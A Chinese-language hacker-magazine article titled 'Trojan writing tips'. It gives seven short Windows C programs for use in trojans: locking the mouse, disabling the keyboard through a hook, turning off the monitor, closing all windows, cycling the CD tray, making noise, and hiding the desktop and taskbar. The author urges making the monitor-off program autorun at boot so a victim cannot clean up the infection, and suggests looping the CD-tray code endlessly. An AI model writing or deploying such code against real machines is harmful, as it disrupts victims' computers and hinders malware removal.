木马编写小技巧

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1.锁定鼠标:


这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
  1. #include <stdio.h>  
  2. #include <windows.h>  
  3. int main(int argc, char* argv[])  
  4. {  
  5.  printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");  
  6.  RECT rect;  
  7.  rect.bottom=1;  
  8.  rect.right=1;  
  9.   ClipCursor(&rect);  
  10.  ::Sleep(15000);  
  11.  ClipCursor(NULL);//释放  
  12.  return 0;  
  13. }  
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:


锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
  1. #include <stdio.h>  
  2. #include <windows.h>  
  3. //处理按键消息的过程函数  
  4. LRESULT CALLBACK keyproc( int code,  
  5.     WPARAM wParam,  
  6.     LPARAM lParam )  
  7. {  
  8.     return 1;//返回1可使键盘停止响应  
  9. }   
  10. main(int argc, char* argv[])  
  11. {  
  12.   
  13.   
  14.     SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子  
  15.     printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");  
  16.     ::Sleep(15000);  
  17. }  
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器


这个也是相当简单的看看代码:
  1. #include <windows.h>  
  2.   
  3.   
  4. int APIENTRY WinMain(HINSTANCE hInstance,  
  5.     HINSTANCE hPrevInstance,  
  6.     LPSTR     lpCmdLine,  
  7.     int       nCmdShow)  
  8. {  
  9.     SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭  
  10.     ::Sleep(10000);  
  11.     SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开  
  12.   
  13.   
  14.     return 0;  
  15. }  
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口


原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
  1. #include <windows.h>  
  2. BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);  
  3. int APIENTRY WinMain(HINSTANCE hInstance,  
  4.     HINSTANCE hPrevInstance,  
  5.     LPSTR     lpCmdLine,  
  6.     int       nCmdShow)  
  7. {  
  8.     EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理  
  9.     return 0;  
  10. }  
  11.   
  12.   
  13. BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数  
  14. {  
  15.     ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口  
  16.     return (true);//返回FALSE时EnumWindows结束  
  17. }  
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱


其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
  1. #include <mmsystem.h>//注意加入头文件  
  2. int APIENTRY WinMain(HINSTANCE hInstance,  
  3.     HINSTANCE hPrevInstance,  
  4.     LPSTR     lpCmdLine,  
  5.     int       nCmdShow)  
  6. {  
  7.     ::mciSendString("set cdaudio door open",NULL,0,NULL);//打开  
  8.     ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭  
  9.     return 0;  
  10. }  
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音


大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
  1. #include<windows.h>  
  2. main()  
  3. {  
  4.     for(int j=450;j<500;j++)  
  5.     {  
  6.         for(int i=1000;i<1110;i++)  
  7.         {  
  8.             Beep(i,30);  
  9.             ::Sleep(100);  
  10.         }  
  11.     }  
  12.   
  13.   
  14. }  
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面


其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 
  1. #include <stdio.h>  
  2. #include <windows.h>  
  3. int main(int argc, char* argv[])  
  4. {  
  5.     HWND disk,mask;  
  6.     disk=FindWindow("ProgMan",NULL);  
  7.     mask=FindWindow("Shell_TrayWnd",NULL);  
  8.     ShowWindow(mask,SW_HIDE);//隐藏任务栏  
  9.     ShowWindow(disk,SW_HIDE);//隐藏桌面  
  10.     printf("\n15妙后会自动出现桌面 请等待.....\n");  
  11.     Sleep(15000);  
  12.     ShowWindow(mask,SW_SHOW);//显示  
  13.     ShowWindow(disk,SW_SHOW);//显示  
  14.     return 0;  
  15. }  

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